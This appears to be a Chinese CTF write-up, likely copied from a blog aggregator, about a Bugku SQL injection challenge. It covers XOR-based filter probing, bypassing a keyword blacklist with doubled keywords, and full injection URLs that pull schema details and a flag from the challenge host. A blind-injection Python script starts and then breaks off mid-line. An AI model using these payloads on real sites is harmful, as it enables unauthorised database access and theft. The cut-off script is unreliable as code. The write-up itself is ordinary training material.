bugku中的多次题目以及学到的异或注入

首先我们判断一下是什么注入类型

bugku中的多次题目以及学到的异或注入_第1张图片

注意输入的是英文字符',中文不会转变为%27,报错,说明是字符注入
这时候我们就要判断一下SQL网站过滤了什么内容,我们可以使用异或注入来判断哪些字符串被过滤掉了

http://120.24.86.145:9004/1ndex.php?id=1%27^(0)%23

bugku中的多次题目以及学到的异或注入_第2张图片

正常运行,我们在输入

http://120.24.86.145:9004/1ndex.php?id=1%27^(1)%23

bugku中的多次题目以及学到的异或注入_第3张图片

出现错误,这是因为id后面的内容首先要和^后面的内容进行异或,报错的语句是因为抑或以后id变为0数据库查找不到相关的信息,产生错误,也就是括号里得到内容如果为真则会产生错误,为假则会正常运行,我们可以利用这个进行判断哪些字符被过滤掉了,输入

http://120.24.86.145:9004/1ndex.php?id=1%27^(length(%27union%27)%3E0)%23

bugku中的多次题目以及学到的异或注入_第4张图片

%3E是>号,页面显示正常,这就是说length('union')>0这个语句是错误的,也就是union已经被过滤掉了。

通过以上的方法我们可以找到所有被过滤的字符  select union or and  而limit和from没有被过滤

我们构造SQL注入语句

http://120.24.86.145:9004/1ndex.php?id=-1%27uniunionon%20selselectect%201,2%23

bugku中的多次题目以及学到的异或注入_第5张图片

看到了一个回显,就是在2的位置上,我们继续查找数据库名和表名

http://120.24.86.145:9004/1ndex.php?id=-1%27uniunionon%20selselectect%201,database()%23
http://120.24.86.145:9004/1ndex.php?id=-1%27uniunionon%20selselectect%201,(selecselectt%20table_name%20from%20infoorrmation_schema.tables%20where%20table_schema=database()%20limit%200,1)%23
http://120.24.86.145:9004/1ndex.php?id=-1%27uniunionon%20selselectect%201,(selecselectt%20column_name%20from%20infoorrmation_schema.columns%20where%20table_schema=database()%20anandd%20table_name=%27flag1%27%20limit%200,1)%23
http://120.24.86.145:9004/1ndex.php?id=-1%27uniunionon%20selselectect%201,(selecselectt%20column_name%20from%20infoorrmation_schema.columns%20where%20table_schema=database()%20anandd%20table_name=%27flag1%27%20limit%201,1)%23

得到数据库名称为web1002-1,表名为flag1,有两列,flag1,address

查询flag1得到第一个flag     usOwycTju+FTUUzXosjr

因为题目说是有两个flag所以在查询一下address

得到

bugku中的多次题目以及学到的异或注入_第6张图片

点击下一关

bugku中的多次题目以及学到的异或注入_第7张图片

依然是一个SQL注入的题目,这里比较坑的就是,他的字体显示的是黑色的,当我们输入'的时候

bugku中的多次题目以及学到的异或注入_第8张图片

存在SQL注入,并且我们可以从回显中查看哪些被过滤掉了,注意是错误中的显示才是正确的,

bugku中的多次题目以及学到的异或注入_第9张图片

输入union没有反应说明是被过滤掉了,输入双重union

bugku中的多次题目以及学到的异或注入_第10张图片

发现select也被过滤掉了,

bugku中的多次题目以及学到的异或注入_第11张图片

发现无法回显,只能使用脚本进行爆破

http://120.24.86.145:9004/Once_More.php?id=-1%27union%20select%20sleep%20or%20and%20if%20limit%23

bugku中的多次题目以及学到的异或注入_第12张图片

发现sleep也被过滤掉了,测试之后发现substr也被过滤掉了,所以使用locate函数达到这样的效果

http://120.24.86.145:9004/Once_More.php?id=1'and (select locate(binary'{',(select user()),2))=2%23

具体的代码
 

def flag2():
    flag =''
    for j in xrange(1, 100):
        temp = '!@$%^&*()_+=-|}{POIU YTREWQASDFGHJKL:?>

其他的测试database和这个的类似

 

 

 

你可能感兴趣的:(bugku)